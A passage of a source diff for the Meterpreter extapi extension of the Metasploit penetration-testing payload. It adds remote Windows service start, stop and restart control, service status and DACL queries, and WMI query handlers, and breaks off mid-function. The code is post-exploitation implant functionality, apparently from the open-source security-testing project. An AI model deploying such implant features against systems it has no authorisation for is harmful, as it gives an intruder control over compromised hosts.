/*! @brief Typedef for the QueryServiceObjectSecurity function. */
typedef BOOL(WINAPI * PQUERYSERVICEOBJECTSECURITY)(
SC_HANDLE hService,
@ -35,6 +67,8 @@ typedef BOOL(WINAPI * PQUERYSERVICEOBJECTSECURITY)(
DWORD cbBufSize,
LPDWORD pcbBytesNeeded
);
static PQUERYSERVICEOBJECTSECURITY pQueryServiceObjectSecurity = NULL;
/*! @brief Typedef for the QueryServiceConfigA function. */
typedef BOOL(WINAPI * PQUERYSERVICECONFIGA)(
SC_HANDLE hService,
@ -42,6 +76,8 @@ typedef BOOL(WINAPI * PQUERYSERVICECONFIGA)(
DWORD dbBufSize,
LPDWORD pcbBytesNeeded
);
static PQUERYSERVICECONFIGA pQueryServiceConfigA = NULL;
/*! @brief Typedef for the ConvertSecurityDescriptorToStringSecurityDescriptorA function. */
typedef BOOL(WINAPI * PCSDTSSDA)(
PSECURITY_DESCRIPTOR SecurityDescriptor,
@ -50,15 +86,148 @@ typedef BOOL(WINAPI * PCSDTSSDA)(
LPCSTR *StringSecurityDescriptor,
PULONG StringSecurityDescriptorLen
);
static PCSDTSSDA pCSDTSSDA = NULL;
VOID add_enumerated_service(Packet *pResponse, LPCSTR cpName, LPCSTR cpDisplayName, DWORD dwProcessId, DWORD dwStatus, BOOL bInteractive);
DWORD query_service(LPCSTR cpServiceName, Packet *pResponse);
DWORD get_service_config(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pResponse);
DWORD get_service_dacl(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pResponse);
DWORD get_service_config(SC_HANDLE scService, Packet *pResponse);
DWORD get_service_status(SC_HANDLE scService, Packet *pResponse);
DWORD get_service_dacl(SC_HANDLE scService, Packet *pResponse);
#endif
DWORD execute_service_task(LPCSTR lpServiceName, ServiceOperation eServiceOp, Packet *response);
DWORD enumerate_services(Packet *response);
/*!
* @brief Initialise the service part of the extended api.
*/
VOID initialise_service()
{
do
{
dprintf("[EXTAPI SERVICE] Loading advapi32.dll");
if ((hAdvapi32 = LoadLibraryA("advapi32.dll")) == NULL)
{
dprintf("[EXTAPI SERVICE] Unable to load advapi32.dll");
break;
}
dprintf("[EXTAPI SERVICE] Searching for OpenSCManagerA");
if ((pOpenSCManagerA = (POPENSCMANAGERA)GetProcAddress(hAdvapi32, "OpenSCManagerA")) == NULL)
{
dprintf("[EXTAPI SERVICE] Unable to locate OpenSCManagerA in advapi32.dll");
}
dprintf("[EXTAPI SERVICE] Searching for CloseServiceHandle");
if ((pCloseServiceHandle = (PCLOSESERVICEHANDLE)GetProcAddress(hAdvapi32, "CloseServiceHandle")) == NULL)
{
dprintf("[EXTAPI SERVICE] Unable to locate CloseServiceHandle in advapi32.dll. Continuing anyway.");
}
dprintf("[EXTAPI SERVICE] Searching for EnumServicesStatusExA");
if ((pEnumServicesStatusExA = (PENUMSERVICESSTATUSEXA)GetProcAddress(hAdvapi32, "EnumServicesStatusExA")) == NULL)
{
dprintf("[EXTAPI SERVICE] Unable to locate EnumServicesStatusExA in advapi32.dll.");
}
dprintf("[EXTAPI SERVICE] Searching for CloseServiceHandle");
if ((pCloseServiceHandle = (PCLOSESERVICEHANDLE)GetProcAddress(hAdvapi32, "CloseServiceHandle")) == NULL)
{
dprintf("[EXTAPI SERVICE] Unable to locate CloseServiceHandle in advapi32.dll. Continuing anyway.");
}
dprintf("[EXTAPI SERVICE] Searching for OpenServiceA");
if ((pOpenServiceA = (POPENSERVICEA)GetProcAddress(hAdvapi32, "OpenServiceA")) == NULL)
{
dprintf("[EXTAPI SERVICE] Unable to locate OpenServiceA in advapi32.dll.");
}
dprintf("[EXTAPI SERVICE] Searching for QueryServiceConfigA");
if ((pQueryServiceConfigA = (PQUERYSERVICECONFIGA)GetProcAddress(hAdvapi32, "QueryServiceConfigA")) == NULL)
{
dprintf("[EXTAPI SERVICE] Unable to locate QueryServiceConfigA in advapi32.dll.");
}
dprintf("[EXTAPI SERVICE] Searching for QueryServiceObjectSecurity");
if ((pQueryServiceObjectSecurity = (PQUERYSERVICEOBJECTSECURITY)GetProcAddress(hAdvapi32, "QueryServiceObjectSecurity")) == NULL)
{
dprintf("[EXTAPI SERVICE] Unable to locate QueryServiceObjectSecurity in advapi32.dll.");
}
dprintf("[EXTAPI SERVICE] Searching for ConvertSecurityDescriptorToStringSecurityDescriptorA");
if ((pCSDTSSDA = (PCSDTSSDA)GetProcAddress(hAdvapi32, "ConvertSecurityDescriptorToStringSecurityDescriptorA")) == NULL)
{
dprintf("[EXTAPI SERVICE] Unable to locate ConvertSecurityDescriptorToStringSecurityDescriptorA in advapi32.dll.");
}
dprintf("[EXTAPI SERVICE] Searching for StartServiceA");
if ((pStartServiceA = (PSTARTSERVICEA)GetProcAddress(hAdvapi32, "StartServiceA")) == NULL)
{
dprintf("[EXTAPI SERVICE] Unable to locate StartServiceA in advapi32.dll.");
}
dprintf("[EXTAPI SERVICE] Searching for ControlService");
if ((pControlService = (PCONTROLSERVICE)GetProcAddress(hAdvapi32, "ControlService")) == NULL)
{
dprintf("[EXTAPI SERVICE] Unable to locate ControlService in advapi32.dll.");
}
dprintf("[EXTAPI SERVICE] Searching for QueryServiceStatus");
if ((pQueryServiceStatus = (PQUERYSERVICESTATUS)GetProcAddress(hAdvapi32, "QueryServiceStatus")) == NULL)
{
dprintf("[EXTAPI SERVICE] Unable to locate QueryServiceStatus in advapi32.dll.");
}
} while (0);
}
/*!
* @brief Handle the request for service control.
* @param remote Pointer to the \c Remote making the request.
* @param packet Pointer to the request \c Packet.
* @returns Indication of sucess or failure.
*/
DWORD request_service_control(Remote *remote, Packet *packet)
{
LPSTR lpServiceName = NULL;
ServiceOperation eServiceOp = 0;
DWORD dwResult = ERROR_SUCCESS;
Packet * response = packet_create_response(packet);
do
{
if (!response)
{
dprintf("[EXTAPI SERVICE] Unable to create response packet");
dwResult = ERROR_OUTOFMEMORY;
break;
}
lpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_SERVICE_CTRL_NAME);
if (!lpServiceName)
{
BREAK_WITH_ERROR("[EXTAPI SERVICE] Missing service name parameter", ERROR_INVALID_PARAMETER);
}
eServiceOp = (ServiceOperation)packet_get_tlv_value_uint(packet, TLV_TYPE_EXT_SERVICE_CTRL_OP);
if (eServiceOp == 0)
{
BREAK_WITH_ERROR("[EXTAPI SERVICE] Missing service operation parameter", ERROR_INVALID_PARAMETER);
}
dprintf("[EXTAPI SERVICE] Executing service control task");
dwResult = execute_service_task(lpServiceName, eServiceOp, response);
} while (0);
dprintf("[EXTAPI SERVICE] Transmitting response back to caller.");
if (response)
{
packet_transmit_response(dwResult, remote, response);
}
return dwResult;
}
/*!
* @brief Handle the request for service enumeration.
* @param remote Pointer to the \c Remote making the request.
@ -121,7 +290,7 @@ DWORD request_service_query(Remote *remote, Packet *packet)
lpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_SERVICE_ENUM_NAME);
if (!lpServiceName)
{
BREAK_WITH_ERROR("[EXTAPI SERVICE] Missing service name parameter", ERROR_BAD_ARGUMENTS);
BREAK_WITH_ERROR("[EXTAPI SERVICE] Missing service name parameter", ERROR_INVALID_PARAMETER);
}
dprintf("[EXTAPI SERVICE] Beginning service enumeration");
@ -149,39 +318,18 @@ DWORD query_service(LPCSTR cpServiceName, Packet *pResponse)
{
#ifdef _WIN32
// currently we only support Windoze
DWORD dwResult = ERROR_SUCCESS;
HMODULE hAdvapi32 = NULL;
POPENSCMANAGERA pOpenSCManagerA = NULL;
PCLOSESERVICEHANDLE pCloseServiceHandle = NULL;
POPENSERVICEA pOpenServiceA = NULL;
SC_HANDLE scManager = NULL;
SC_HANDLE scService = NULL;
do
{
dprintf("[EXTAPI SERVICE] Loading advapi32.dll");
if ((hAdvapi32 = LoadLibraryA("advapi32.dll")) == NULL)
if (hAdvapi32 == NULL
|| pOpenSCManagerA == NULL
|| pCloseServiceHandle == NULL
|| pOpenServiceA == NULL)
{
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to load advapi32.dll");
}
dprintf("[EXTAPI SERVICE] Searching for OpenSCManagerA");
if ((pOpenSCManagerA = (POPENSCMANAGERA)GetProcAddress(hAdvapi32, "OpenSCManagerA")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate OpenSCManagerA in advapi32.dll");
}
dprintf("[EXTAPI SERVICE] Searching for CloseServiceHandle");
if ((pCloseServiceHandle = (PCLOSESERVICEHANDLE)GetProcAddress(hAdvapi32, "CloseServiceHandle")) == NULL)
{
dprintf("[EXTAPI SERVICE] Unable to locate CloseServiceHandle in advapi32.dll. Continuing anyway.");
}
dprintf("[EXTAPI SERVICE] Searching for OpenServiceA");
if ((pOpenServiceA = (POPENSERVICEA)GetProcAddress(hAdvapi32, "OpenServiceA")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate OpenServiceA in advapi32.dll.");
BREAK_WITH_ERROR("[EXTAPI SERVICE] Unable to query services, required functions not found", ERROR_INVALID_PARAMETER);
}
dprintf("[EXTAPI SERVICE] Opening the Service Control manager");
@ -198,8 +346,9 @@ DWORD query_service(LPCSTR cpServiceName, Packet *pResponse)
break;
}
get_service_config(hAdvapi32, scService, pResponse);
get_service_dacl(hAdvapi32, scService, pResponse);
get_service_config(scService, pResponse);
get_service_status(scService, pResponse);
get_service_dacl(scService, pResponse);
} while (0);
@ -213,11 +362,6 @@ DWORD query_service(LPCSTR cpServiceName, Packet *pResponse)
pCloseServiceHandle(scManager);
}
if (hAdvapi32)
{
FreeLibrary(hAdvapi32);
}
return dwResult;
#else
return ERROR_NOT_SUPPORTED;
@ -236,10 +380,6 @@ DWORD enumerate_services(Packet *pResponse)
// currently we only support Windoze
DWORD dwResult = ERROR_SUCCESS;
HMODULE hAdvapi32 = NULL;
POPENSCMANAGERA pOpenSCManagerA = NULL;
PCLOSESERVICEHANDLE pCloseServiceHandle = NULL;
PENUMSERVICESSTATUSEXA pEnumServicesStatusExA = NULL;
SC_HANDLE scManager = NULL;
ENUM_SERVICE_STATUS_PROCESSA* pSsInfo = NULL;
DWORD dwBytesNeeded = 0;
@ -250,28 +390,12 @@ DWORD enumerate_services(Packet *pResponse)
do
{
dprintf("[EXTAPI SERVICE] Loading advapi32.dll");
if ((hAdvapi32 = LoadLibraryA("advapi32.dll")) == NULL)
if (hAdvapi32 == NULL
|| pOpenSCManagerA == NULL
|| pCloseServiceHandle == NULL
|| pEnumServicesStatusExA == NULL)
{
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to load advapi32.dll");
}
dprintf("[EXTAPI SERVICE] Searching for OpenSCManagerA");
if ((pOpenSCManagerA = (POPENSCMANAGERA)GetProcAddress(hAdvapi32, "OpenSCManagerA")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate OpenSCManagerA in advapi32.dll");
}
dprintf("[EXTAPI SERVICE] Searching for CloseServiceHandle");
if ((pCloseServiceHandle = (PCLOSESERVICEHANDLE)GetProcAddress(hAdvapi32, "CloseServiceHandle")) == NULL)
{
dprintf("[EXTAPI SERVICE] Unable to locate CloseServiceHandle in advapi32.dll. Continuing anyway.");
}
dprintf("[EXTAPI SERVICE] Searching for EnumServicesStatusExA");
if ((pEnumServicesStatusExA = (PENUMSERVICESSTATUSEXA)GetProcAddress(hAdvapi32, "EnumServicesStatusExA")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate EnumServicesStatusExA in advapi32.dll.");
BREAK_WITH_ERROR("[EXTAPI SERVICE] Unable to enumerate services, required functions not found", ERROR_INVALID_PARAMETER);
}
// TODO: add support for other machine names so that this instance can query other machines on the network.
@ -323,9 +447,163 @@ DWORD enumerate_services(Packet *pResponse)
pCloseServiceHandle(scManager);
}
if (hAdvapi32)
return dwResult;
#else
return ERROR_NOT_SUPPORTED;
#endif
}
/*!
* @brief Perform the task/operation on a service.
* @param cpServiceName Name of the serivce to perform the query on.
* @param eServiceOp The operationg to perform on the service.
* @param pRacket Pointer to the response \c Packet.
* @returns Indication of sucess or failure.
* @retval ERROR_SUCCESS Operation succeeded.
*/
DWORD execute_service_task(LPCSTR cpServiceName, ServiceOperation eServiceOp, Packet *pResponse)
{
#ifdef _WIN32
// currently we only support Windoze
DWORD dwResult = ERROR_SUCCESS;
DWORD dwOpenFlags = SC_MANAGER_CONNECT | GENERIC_READ | SERVICE_QUERY_STATUS;
DWORD dwControlFlag = 0;
DWORD dwTargetStatus = 0;
SC_HANDLE scManager = NULL;
SC_HANDLE scService = NULL;
SERVICE_STATUS serviceStatus;
do
{
FreeLibrary(hAdvapi32);
if (hAdvapi32 == NULL
|| pOpenSCManagerA == NULL
|| pStartServiceA == NULL
|| pCloseServiceHandle == NULL
|| pQueryServiceStatus == NULL
|| pOpenServiceA == NULL)
{
BREAK_WITH_ERROR("[EXTAPI SERVICE] Unable to query services, required functions not found", ERROR_INVALID_PARAMETER);
}
dprintf("[EXTAPI SERVICE] Opening the Service Control manager");
if ((scManager = pOpenSCManagerA(NULL, SERVICES_ACTIVE_DATABASEA, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL)
{
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to open the service control manager");
}
switch (eServiceOp)
{
case ServOpStart:
dwOpenFlags |= SERVICE_START;
break;
case ServOpStop:
dwOpenFlags |= SERVICE_STOP;
break;
case ServOpPause:
case ServOpResume:
dwOpenFlags |= SERVICE_PAUSE_CONTINUE;
break;
case ServOpRestart:
dwOpenFlags |= SERVICE_START | SERVICE_STOP;
}
dprintf("[EXTAPI SERVICE] Opening the Service: %s", cpServiceName);
if ((scService = pOpenServiceA(scManager, cpServiceName, dwOpenFlags)) == NULL)
{
dwResult = GetLastError();
dprintf("[EXTAPI SERVICE] Unable to open the service: %s (%u)", cpServiceName, dwResult);
break;
}
// let's get a clue as to what the service status is before we move on
if (!pQueryServiceStatus(scService, &serviceStatus))
{
dwResult = GetLastError();
dprintf("[EXTAPI SERVICE] Unable to query the service status: %s (%u)", cpServiceName, dwResult);
break;
}
dwResult = ERROR_SUCCESS;
if (eServiceOp == ServOpStart)
{
// we can't try to start the service if it isn't stopped
if (serviceStatus.dwCurrentState == SERVICE_STOPPED)
{
if (!pStartServiceA(scService, 0, NULL))
{
dwResult = GetLastError();
dprintf("[EXTAPI SERVICE] Unable to start the service: %s (%u)", cpServiceName, dwResult);
break;
}
}
else if(serviceStatus.dwCurrentState != SERVICE_RUNNING)
{
dprintf("[EXTAPI SERVICE] Unable to start the service in its current state: %s %x", cpServiceName, serviceStatus.dwCurrentState);
dwResult = ERROR_INVALID_OPERATION;
break;
}
}
else
{
switch (eServiceOp)
{
case ServOpRestart:
case ServOpStop:
dwControlFlag = SERVICE_CONTROL_STOP;
dwTargetStatus = SERVICE_STOPPED;
break;
case ServOpPause:
dwControlFlag = SERVICE_CONTROL_PAUSE;
dwTargetStatus = SERVICE_PAUSED;
break;
case ServOpResume:
dwControlFlag = SERVICE_CONTROL_CONTINUE;
dwTargetStatus = SERVICE_RUNNING;
break;
}
dwResult = ERROR_SUCCESS;
if (serviceStatus.dwCurrentState == dwTargetStatus)
{
dprintf("[EXTAPI SERVICE] Service already in target state: %u on %s (%u)", eServiceOp, cpServiceName, dwResult);
}
else if (!pControlService(scService, dwControlFlag, &serviceStatus))
{
dwResult = GetLastError();
dprintf("[EXTAPI SERVICE] Unable to control the service: %u on %s (%u)", eServiceOp, cpServiceName, dwResult);
break;
}
if (eServiceOp == ServOpRestart)
{
// At this point the service should either be stopped already or it will be stopping.
// We have to wait until the service has stopped before we attempt to restart.
do
{
Sleep(500);
pQueryServiceStatus(scService, &serviceStatus);
} while (serviceStatus.dwCurrentState != SERVICE_STOPPED);
// next we try to kick it off again
if (!pStartServiceA(scService, 0, NULL))
{
dwResult = GetLastError();
dprintf("[EXTAPI SERVICE] Unable to start the service: %s (%u)", cpServiceName, dwResult);
}
}
}
} while (0);
if (scService && pCloseServiceHandle)
{
pCloseServiceHandle(scService);
}
if (scManager && pCloseServiceHandle)
{
pCloseServiceHandle(scManager);
}
return dwResult;
@ -381,25 +659,22 @@ VOID add_enumerated_service(Packet *pResponse, LPCSTR cpName, LPCSTR cpDisplayNa
/*!
* @brief Query the configuration of the given service.
* @details On successful query the results of the query are added to the response.
* @param hAdvapi32 Handle to the advapi32.dll.
* @param scService Service handle referencing the service to query.
* @param pResponse Pointer to the response \c Packet to add the result to.
* @returns Indication of success or failure.
* @retval ERROR_SUCCESS The service configuration query succeeded.
*/
DWORD get_service_config(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pResponse)
DWORD get_service_config(SC_HANDLE scService, Packet *pResponse)
{
DWORD dwResult = ERROR_SUCCESS;
PQUERYSERVICECONFIGA pQueryServiceConfigA = NULL;
LPQUERY_SERVICE_CONFIGA lpServiceConfig = NULL;
DWORD cbBytesNeeded = 0;
do
{
dprintf("[EXTAPI SERVICE] Searching for QueryServiceConfigA");
if ((pQueryServiceConfigA = (PQUERYSERVICECONFIGA)GetProcAddress(hAdvapi32, "QueryServiceConfigA")) == NULL)
if (pQueryServiceConfigA == NULL)
{
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate QueryServiceConfigA in advapi32.dll.");
BREAK_WITH_ERROR("[EXTAPI SERVICE] Unable to enumerate services, required functions not found", ERROR_INVALID_PARAMETER);
}
if (pQueryServiceConfigA(scService, NULL, 0, &cbBytesNeeded))
@ -440,36 +715,61 @@ DWORD get_service_config(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pRespon
return dwResult;
}
/*!
* @brief Query the status of a given service handle.
* @details On successful querying the status is added to the response.
* @param scService Service handle referencing the service to query.
* @param pResponse Pointer to the response \c Packet to add the result to.
* @returns Indication of success or failure.
* @retval ERROR_SUCCESS The service status query succeeded.
*/
DWORD get_service_status(SC_HANDLE scService, Packet *pResponse)
{
DWORD dwResult = ERROR_SUCCESS;
SERVICE_STATUS serviceStatus;
do
{
if (pQueryServiceStatus == NULL)
{
BREAK_WITH_ERROR("[EXTAPI SERVICE] Unable to query service status, required functions not found", ERROR_INVALID_PARAMETER);
}
// let's get a clue as to what the service status is before we move on
if (!pQueryServiceStatus(scService, &serviceStatus))
{
dwResult = GetLastError();
dprintf("[EXTAPI SERVICE] Unable to query the service status: %u", dwResult);
break;
}
packet_add_tlv_uint(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STATUS, serviceStatus.dwCurrentState);
} while (0);
return dwResult;
}
/*!
* @brief Get the DACL of the specified service.
* @details On successful query the DACL string is added to the response.
* @param hAdvapi32 Handle to the advapi32.dll.
* @param scService Service handle referencing the service to query.
* @param pResponse Pointer to the response \c Packet to add the result to.
* @returns Indication of success or failure.
* @retval ERROR_SUCCESS The service configuration query succeeded.
*/
DWORD get_service_dacl(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pResponse)
DWORD get_service_dacl(SC_HANDLE scService, Packet *pResponse)
{
DWORD dwResult = ERROR_SUCCESS;
DWORD dwBytesNeeded = 0;
PQUERYSERVICEOBJECTSECURITY pQueryServiceObjectSecurity = NULL;
PCSDTSSDA pCSDTSSDA = NULL;
PSECURITY_DESCRIPTOR pSecurityDescriptor = NULL;
LPSTR lpDaclString;
do
{
dprintf("[EXTAPI SERVICE] Searching for QueryServiceObjectSecurity");
if ((pQueryServiceObjectSecurity = (PQUERYSERVICEOBJECTSECURITY)GetProcAddress(hAdvapi32, "QueryServiceObjectSecurity")) == NULL)
if (pQueryServiceObjectSecurity == NULL || pCSDTSSDA == NULL)
{
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate QueryServiceObjectSecurity in advapi32.dll.");
}
dprintf("[EXTAPI SERVICE] Searching for ConvertSecurityDescriptorToStringSecurityDescriptorA");
if ((pCSDTSSDA = (PCSDTSSDA)GetProcAddress(hAdvapi32, "ConvertSecurityDescriptorToStringSecurityDescriptorA")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate ConvertSecurityDescriptorToStringSecurityDescriptorA in advapi32.dll.");
BREAK_WITH_ERROR("[EXTAPI SERVICE] Unable to get service dacl, required functions not found", ERROR_INVALID_PARAMETER);
}
if (pQueryServiceObjectSecurity(scService, DACL_SECURITY_INFORMATION, (PSECURITY_DESCRIPTOR)&pSecurityDescriptor, 0, &dwBytesNeeded))

View File

@ -5,7 +5,9 @@
#ifndef _METERPRETER_SOURCE_EXTENSION_EXTAPI_SERVICE_H
#define _METERPRETER_SOURCE_EXTENSION_EXTAPI_SERVICE_H
VOID initialise_service();
DWORD request_service_enum(Remote *remote, Packet *packet);
DWORD request_service_query(Remote *remote, Packet *packet);
DWORD request_service_control(Remote *remote, Packet *packet);
#endif

View File

@ -0,0 +1,78 @@
/*!
* @file wmi.c
* @brief Definitions for WMI request handling functionality.
*/
#include "extapi.h"
#include "wshelpers.h"
#include "wmi.h"
#include "wmi_interface.h"
/*!
* @brief Execute a WMI query.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the incoming \c Packet instance.
* @returns Indication of success or failure.
* @remark Real error codes are returned to the caller via a response packet.
*/
DWORD request_wmi_query(Remote *remote, Packet *packet)
{
DWORD dwResult = ERROR_SUCCESS;
LPSTR lpValue = NULL;
LPWSTR lpwRoot = NULL;
LPWSTR lpwQuery = NULL;
Packet * response = packet_create_response(packet);
do
{
if (!response)
{
BREAK_WITH_ERROR("[EXTAPI WMI] Unable to create response packet", ERROR_OUTOFMEMORY);
}
lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_WMI_DOMAIN);
if (!lpValue)
{
lpValue = "root\\CIMV2";
}
dprintf("[EXTAPI WMI] Domain: %s", lpValue);
dwResult = to_wide_string(lpValue, &lpwRoot);
if (dwResult != ERROR_SUCCESS)
{
dprintf("[EXTAPI WMI] Failed to get Domain");
break;
}
lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_WMI_QUERY);
dprintf("[EXTAPI WMI] Query: %s", lpValue);
dwResult = to_wide_string(lpValue, &lpwQuery);
if (dwResult != ERROR_SUCCESS)
{
dprintf("[EXTAPI WMI] Failed to get Query");
break;
}
dprintf("[EXTAPI WMI] Beginning WMI query enumeration");
dwResult = wmi_query(lpwRoot, lpwQuery, response);
dprintf("[EXTAPI WMI] Result of processing: %u (0x%x)", dwResult, dwResult);
} while (0);
if (lpwQuery)
{
free(lpwQuery);
}
if (lpwRoot)
{
free(lpwRoot);
}
dprintf("[EXTAPI WMI] Transmitting response back to caller.");
if (response)
{
packet_transmit_response(dwResult, remote, response);
}
return dwResult;
}

View File

@ -0,0 +1,10 @@
/*!
* @file wmi.h
* @brief Declarations for WMI request handlers.
*/
#ifndef _METERPRETER_SOURCE_EXTENSION_EXTAPI_WMI_H
#define _METERPRETER_SOURCE_EXTENSION_EXTAPI_WMI_H
DWORD request_wmi_query(Remote *remote, Packet *packet);
#endif

View File

@ -0,0 +1,454 @@
/*!
* @file wmi_interface.h
* @brief Declarations for functions that deal directly with WMI
* via the COM interfaces (hence the .cpp extension).
*/
extern "C" {
#include "extapi.h"
#include <inttypes.h>
#include "wmi_interface.h"
}
#include <WbemCli.h>
#include <comutil.h>
#include <comdef.h>
#pragma comment(lib, "wbemuuid.lib")
#pragma comment(lib, "comsuppw.lib")
#define FIELD_SIZE 1024
#define ENUM_TIMEOUT 5000
/*! The number of fields to ignore at the start of the query, which we aren't interested in.
* For some reason there's one more system field in x64 than there is in x86. */
#ifdef _WIN64
#define SYSTEM_FIELD_COUNT 9
#else
#define SYSTEM_FIELD_COUNT 8
#endif
/*!
* @brief Convert a variant type to a string and write it to the given buffer.
* @param v The variant to convert.
* @param buffer Pointer to the buffer to write the value to.
* @param bufferSize size of the buffer.
* @returns Pointer to the next location in the buffer.
* @remarks This attempts to "flatten" a variant, including array types. The implementation is
* not 100% complete, but is good enough for the sake of this requirement. Only arrays
* of BSTR are currenty supported, more types can be added later if needed. Arbitrary
* array depth has been attempted, but no tests have yet found a nested array in the
* result set. There's probably bugs in that bit.
*/
char* variant_to_string(_variant_t& v, char* buffer, DWORD bufferSize)
{
dprintf("[WMI] preparing to parse variant of type %u (%x), buffer size %u", v.vt, v.vt, bufferSize);
switch (v.vt)
{
case VT_EMPTY:
strncpy_s(buffer, bufferSize, "(EMPTY)", bufferSize - 1);
break;
case VT_NULL:
strncpy_s(buffer, bufferSize, "(NULL)", bufferSize - 1);
break;
case VT_BOOL:
strncpy_s(buffer, bufferSize, v.boolVal == VARIANT_TRUE ? "true" : "false", bufferSize - 1);
break;
case VT_I1:
_snprintf_s(buffer, bufferSize, bufferSize - 1, "%"PRId8, (CHAR)v);
break;
case VT_I2:
_snprintf_s(buffer, bufferSize, bufferSize - 1, "%"PRId16, (SHORT)v);
break;
case VT_INT:
case VT_I4:
_snprintf_s(buffer, bufferSize, bufferSize - 1, "%"PRId32, (INT)v);
break;
case VT_INT_PTR:
case VT_I8:
_snprintf_s(buffer, bufferSize, bufferSize - 1, "%"PRId64, (INT_PTR)v);
break;
case VT_UI1:
_snprintf_s(buffer, bufferSize, bufferSize - 1, "%"PRIu8, (BYTE)v);
break;
case VT_UI2:
_snprintf_s(buffer, bufferSize, bufferSize - 1, "%"PRIu16, (SHORT)v);
break;
case VT_UINT:
case VT_UI4:
_snprintf_s(buffer, bufferSize, bufferSize - 1, "%"PRIu32, (UINT)v);
break;
case VT_UINT_PTR:
case VT_UI8:
_snprintf_s(buffer, bufferSize, bufferSize - 1, "%"PRIu64, (UINT_PTR)v);
break;
case VT_BSTR:
case VT_LPSTR:
case VT_LPWSTR:
// not sure if this is correct
strncpy_s(buffer, bufferSize, (char*)(_bstr_t)v.bstrVal, bufferSize - 1);
break;
// TODO more types, such as floats, dates, etc.
default:
if ((v.vt & VT_ARRAY) == VT_ARRAY)
{
// nested array type, great.
dprintf("[WMI] array type found!");
LPSAFEARRAY array = v.parray;
HRESULT hResult;
if (FAILED(hResult = SafeArrayLock(array)))
{
dprintf("[WMI] Failed to get array dimension: %x", hResult);
break;
}
dprintf("[WMI] Field name array locked.");
LONG* indices = NULL;
LONG* bounds = NULL;
do
{
VARTYPE varType;
SafeArrayGetVartype(array, &varType);
dprintf("[WMI] Array type %u (%x)", (ULONG)varType, (ULONG)varType);
dprintf("[WMI] Array dimensions: %u", SafeArrayGetDim(array));
LONG iterations = 1;
LONG dim = SafeArrayGetDim(array);
indices = (LONG*)malloc(dim * sizeof(LONG));
bounds = (LONG*)malloc(dim * sizeof(LONG) * 2);
memset(indices, 0, dim * sizeof(LONG));
memset(bounds, 0, dim * sizeof(LONG) * 2);
for (LONG i = 0; i < dim; ++i)
{
LONG* lBound = bounds + i * 2;
LONG* uBound = lBound + 1;
if (FAILED(hResult = SafeArrayGetLBound(array, i + 1, lBound))
|| FAILED(hResult = SafeArrayGetUBound(array, i + 1, uBound)))
{
dprintf("[WMI] Failed to get array dimensions: %x", hResult);
break;
}
dprintf("[WMI] Array bounds: %u to %u", *lBound, *uBound);
iterations *= *uBound - *lBound;
indices[i] = *lBound;
}
dprintf("[WMI] Array requires %u iterations", iterations);
// we're going to wrap our array elements in brackets, and separate with pipes
// because we need some kind of array visualisation and this is the best I could
// come up with at this time of night. Each dimension nests in a new set of brackets
while (iterations-- > 0)
{
for (LONG i = 0; i < dim; ++i)
{
if (indices[i] == 0)
{
// save space for the closing bracket as well
bufferSize -= 2;
*buffer++ = '{';
dprintf("[WMI] opening bracket for dimension %u", i);
}
else if(*(buffer - 1) != '|')
{
--bufferSize;
*buffer++ = '|';
}
}
dprintf("[WMI] extracting value for iteration %u", iterations);
switch (varType)
{
case VT_BSTR:
BSTR val;
if (SUCCEEDED(SafeArrayGetElement(array, indices, (void*)&val)))
{
dprintf("[WMI] Value extracted for iteration %u", iterations);
char* newBuf = variant_to_string(_variant_t(val), buffer, bufferSize);
bufferSize -= (LONG)(newBuf - buffer + 1);
buffer = newBuf;
dprintf("[WMI] Value added", iterations);
}
break;
default:
dprintf("[WMI] Unsupported nested array type %u", (LONG)varType);
break;
}
++indices[dim - 1];
for (LONG i = dim - 1; i >= 0; --i)
{
if (indices[i] == bounds[i * 2 + 1])
{
dprintf("[WMI] closing bracket for dimension %u", i);
*buffer++ = '}';
indices[i] = bounds[i * 2];
if (i > 0)
{
++indices[i - 1];
}
}
}
}
} while (0);
if (indices)
{
free(indices);
}
if (bounds)
{
free(bounds);
}
SafeArrayUnlock(array);
}
else
{
dprintf("[WMI] Unhandled type: %u (%x)", v.vt, v.vt);
}
// ignore the buffer for other types
break;
}
// return wherever we go to.
return buffer + strlen(buffer);
}
/*!
* @brief Perform a WMI query.
* @param lpwRoot Name of the root object that is to be queried against.
* @param lpwQuery The filter to use when reading objects (LDAP style).
* @param response The response \c Packet to add the results to.
*/
DWORD wmi_query(LPCWSTR lpwRoot, LPWSTR lpwQuery, Packet* response)
{
HRESULT hResult;
dprintf("[WMI] Initialising COM");
if ((hResult = CoInitializeEx(NULL, COINIT_MULTITHREADED)) == S_OK)
{
dprintf("[WMI] COM initialised");
IWbemLocator* pLocator = NULL;
IWbemServices* pServices = NULL;
IEnumWbemClassObject* pEnumerator = NULL;
IWbemClassObject* pSuperClass = NULL;
IWbemClassObject* pObj = NULL;
Tlv* valueTlvs = NULL;
char* values = NULL;
VARIANT** fields = NULL;
do
{
if (FAILED(hResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, 0)))
{
dprintf("[WMI] Failed to initialize security: %x", hResult);
break;
}
dprintf("[WMI] Security initialised");
